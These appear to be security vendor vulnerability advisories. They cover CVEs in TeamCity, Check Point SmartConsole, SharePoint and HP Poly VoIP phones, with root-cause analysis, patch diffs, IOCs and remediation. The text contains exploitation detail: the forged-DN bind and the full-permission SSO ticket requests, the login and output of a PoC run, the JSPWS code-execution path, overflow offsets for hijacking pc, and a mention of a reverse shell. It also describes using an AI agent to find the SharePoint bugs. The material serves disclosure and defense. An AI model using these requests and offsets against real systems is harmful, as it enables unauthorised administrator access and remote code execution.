  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

28 July 2026 at 14:32

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication()

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED)

14 July 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the first vulnerability in this chain, the authentication bypass vulnerability CVE-2026-55040. The RCE component of the exploit chain is expected to be patched by Microsoft in the next update cycle for August 2026. The exploit chain was developed as an entry for the recent Pwn2Own Berlin hacking competition – part of Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

CVE-2026-55040 has a CVSSv3.1 score of 9.1 (Critical), and a Common Weakness Enumeration (CWE) of CWE-1390: Weak Authentication.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN). A UPN is the primary logon name for a user in either Windows AD or Microsoft Entra ID, and is formatted similar to that of an email address, e.g. administrator@domain.local.

In the example screenshot below, with identifying information redacted, a Rapid7 Labs proof-of-concept script discovers potential SharePoint users via SID enumeration and then leverages CVE-2026-55040 to bypass authentication on the target SharePoint site to assume the identity of that user — ultimately identifying the SharePoint site administrator user account.

Rapid7-Labs-PoC-CVE-2026-55040.png
Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

An attacker who successfully exploits CVE-2026-55040 can perform operations against the target SharePoint site as the user they identify as. Furthermore, this authentication bypass can be chained to additional vulnerabilities within the authenticated attack surface of the target site.

Rapid7 Labs has chained the authentication bypass CVE-2026-55040 with a separate RCE vulnerability for unauthenticated RCE. Patching CVE-2026-55040 will successfully break this exploit chain; this underscores the importance of patching vulnerabilities such as authentication bypasses, which can break complex and high-impact exploit chains. The RCE component has been disclosed to Microsoft and is expected to be patched in the scheduled August patch cycle.

Leveraging AI

To develop our SharePoint exploit chain, Rapid7 Labs undertook a research project divided into two main sprints, the first in January and the second in March, 2026. While both sprints did encompass more traditional vulnerability research such as manual code review and reverse engineering, a significant amount of the work was undertaken through an agent. Over 24 active days of agentic work, we leveraged 96 sessions, issued 256 prompts, and generated approximately 80,000 agentic tool calls.

The initial January sprint was unsuccessful, resulting in no findings that could be leveraged for an exploit chain. We used this sprint to experiment with several different publicly available models, along with different workflows to navigate and reason across a massive and complex codebase. However, our second sprint in March was successful and yielded, through a heavily prompted agent, a two-vulnerability exploit chain that achieved unauthenticated RCE.

The improvement in quality between January and March in terms of agentic work, along with our improved workflows, was noticeable. This highlights the speed at which this field is evolving, how publicly available models are improving, and how as research teams develop their workflows, the results begin to compound.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for CVE-2026-55040 within 30 days of this disclosure.

Remediation

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-55040 with Authenticated vulnerability checks available in the July 15 content release

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • June 30, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • June 30, 2026: Microsoft provides supporting information to Rapid7.

  • July 14, 2026: This disclosure for CVE-2026-55040.

  • July 14, 2026: The blog is updated to reflect that Microsoft’s published advisory now scores CVE-2026-55040 as critical severity, rather than medium severity.
  • July 15, 2026: Updated to reflect the availability of vulnerability checks in the July 15 content release.

CVE-2026-0826: Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones (FIXED)

1 June 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. 

The vulnerability is present in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker. 

While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP Conference series (Trio 8800, Trio 8500, and Trio 8300).

CVE-2026-0826 has a CVSSv4 score of 9.2 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.

Impact

A Metasploit exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.

Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version 6.4.7.4477.

 

image1.png
Figure 1: Metasploit exploit module targeting a Poly VVX 450 device.

As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.

Technical analysis

Our analysis is based upon a VVX 450 device running firmware version 6.4.7.4477. During testing, the test device had an IPv4 address of 192.168.86.80. The non-default ICE feature was enabled by specifying the following in the device configuration:

device.feature.nat.ice.enabled="1"

The main binary that provides the majority of functionality to the device is /user/local/root/polyapp (32 bit ARM, Little Endian). This binary parses SDP data provided in an Session Initiation Protocol (SIP) request over UDP on port 5060.

When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the RFC8839 5.1:

The following is an example SDP line for a UDP server-reflexive "candidate" attribute for the RTP component:
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

Using the example from the RFC, a SIP request can contain SDP data that looks like this, with the candidate attribute appearing on the final line:

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

The /user/local/root/polyapp binary has two functions that will parse incoming SDP data, named ParseRemoteSDP and IceSession::ParseRemoteSdpForAddresses. In both cases, when a string line starting with “a=candidate:”  is found, a helper function ParseICECandidate (at address 0xB12780) is called to parse the expected candidate attribute held in the remainder of that string line. The intent is to parse out the individual components of a candidate attribute which are separated by white space characters.

This helper function ParseICECandidate contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to memcpy, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.

int __fastcall ParseICECandidate( const void *string_line, size_t string_line_length, int a3, int *a4, _DWORD *a5, int *a6, std::string *a7, _DWORD *a8, _DWORD *a9, std::string *a10, _DWORD *a11)
{
	size_t v11; // r0
	char *v12; // r0
	size_t v13; // r0
	char *v14; // r0
	size_t v15; // r0
	char buffer256[256]; // [sp+25h] [bp-11Fh] BYREF
	char v22[7]; // [sp+128h] [bp-1Ch] BYREF
	char v23; // [sp+12Fh] [bp-15h] BYREF
	char *nptr; // [sp+130h] [bp-14h]
	char v25; // [sp+137h] [bp-Dh]

	v25 = 0;
	if ( !string_line )
		return 0;
	memcpy(buffer256, string_line, string_line_length); // <--- buffer256 can be overflowed due to no destination length check
	buffer256[string_line_length] = 0;
	nptr = strtok_r(buffer256, ":", (char **)&buffer256[255]);
	nptr = strtok_r(0, " ", (char **)&buffer256[255]);
	if ( !nptr )
		return 0;

// ...snip...

To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious candidate attribute will be comprised of:

  • An attribute name of “a=candidate:”, which is 12 bytes long.

  • 244 A characters, to fill out variable buffer256 (shown in the code snippet above), as 244 + 12 is 256.

  • 19 B characters, to provide padding between the variable buffer256 and the saved registers on the current stack frame.

  • The characters 1111 (0x31313131 in hex) to overwrite the saved r4 register.

  • The characters 2222 (0x32323232 in hex) to overwrite the saved r5 register.

  • The characters 3333 (0x33333333 in hex) to overwrite the saved r11 register.

  • The characters 4444 (0x34343434 in hex) to overwrite the saved pc register.

  • A large number of C characters (0x43 in hex) to show the remaining attacker controlled data on the stack.

The entire example SIP INVITE request sent to the device is shown below:

INVITE sip:192.168.86.80:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.86.122:5060
Route: <sip:192.168.86.122:5060;lr>
From: <sip:192.168.86.80:5060>
